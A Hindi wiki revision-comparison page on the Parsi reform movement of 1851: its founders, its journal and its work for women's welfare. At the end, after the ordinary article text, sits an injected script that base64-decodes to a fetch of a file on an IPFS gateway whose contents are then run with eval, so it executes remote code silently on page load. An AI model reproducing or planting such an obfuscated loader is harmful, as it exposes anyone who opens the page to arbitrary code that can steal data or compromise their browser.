"पारसी सुधार आन्दोलन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
पंक्ति 5: पंक्ति 5:
 
*पारसी समाज में सामाजिक तथा राजनीतिक जागृति फैलाने का पहला प्रयास [[बम्बई]] में प्रकाशित ‘बम्बई समाचार पत्र’ के माध्यम से हुआ।
 
*पारसी समाज में सामाजिक तथा राजनीतिक जागृति फैलाने का पहला प्रयास [[बम्बई]] में प्रकाशित ‘बम्बई समाचार पत्र’ के माध्यम से हुआ।
 
*संस्था ने पारसी समुदाय की स्त्रियों के कल्याण के लिए ढेर सारे काम किये।
 
*संस्था ने पारसी समुदाय की स्त्रियों के कल्याण के लिए ढेर सारे काम किये।
*पर्दा प्रथा को प्रतिबन्धित किया गया, विवाह की आयु में वृद्धि की गई, स्त्री शिक्षा की दिशा में बल दिया गया और [[कालान्तर]] में भारतीय समाज का पारसी समुदाय पाश्चात्य सभ्यता के सर्वाधिक नजदीक पहुँच गया।  
+
*[[पर्दा प्रथा]] को प्रतिबन्धित किया गया, विवाह की आयु में वृद्धि की गई, स्त्री शिक्षा की दिशा में बल दिया गया और [[कालान्तर]] में भारतीय समाज का पारसी समुदाय पाश्चात्य सभ्यता के सर्वाधिक नजदीक पहुँच गया।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
 
+
{{औपनिवेशिक काल}}
[[Category:इतिहास कोश]]
+
[[Category:औपनिवेशिक काल]][[Category:इतिहास कोश]]
[[Category:नया पन्ना]]
 
 
__INDEX__
 
__INDEX__

12:31, 17 मार्च 2015 के समय का अवतरण

पारसी सुधार आन्दोलन के संस्थापक नौरोजी फरदोजी, दादाभाई नौरोजी, आर.के. कामा और एस.एस. बंगाली थे।

  • इस आन्दोलन की शुरुआत वर्ष 1851 ई. में की गई थी।
  • इसका मुख्य उद्देश्य पारसी समुदाय की सामजिक अवस्था का पुनरुद्धार करना एवं पारसियों के धर्म में पुनः शुद्धता को प्राप्त करना था।
  • इस संस्था ने ‘रास्त-गोफ्तार’ (सत्यवादी) नामक पत्रिका का प्रकाशन किया।
  • पारसी समाज में सामाजिक तथा राजनीतिक जागृति फैलाने का पहला प्रयास बम्बई में प्रकाशित ‘बम्बई समाचार पत्र’ के माध्यम से हुआ।
  • संस्था ने पारसी समुदाय की स्त्रियों के कल्याण के लिए ढेर सारे काम किये।
  • पर्दा प्रथा को प्रतिबन्धित किया गया, विवाह की आयु में वृद्धि की गई, स्त्री शिक्षा की दिशा में बल दिया गया और कालान्तर में भारतीय समाज का पारसी समुदाय पाश्चात्य सभ्यता के सर्वाधिक नजदीक पहुँच गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>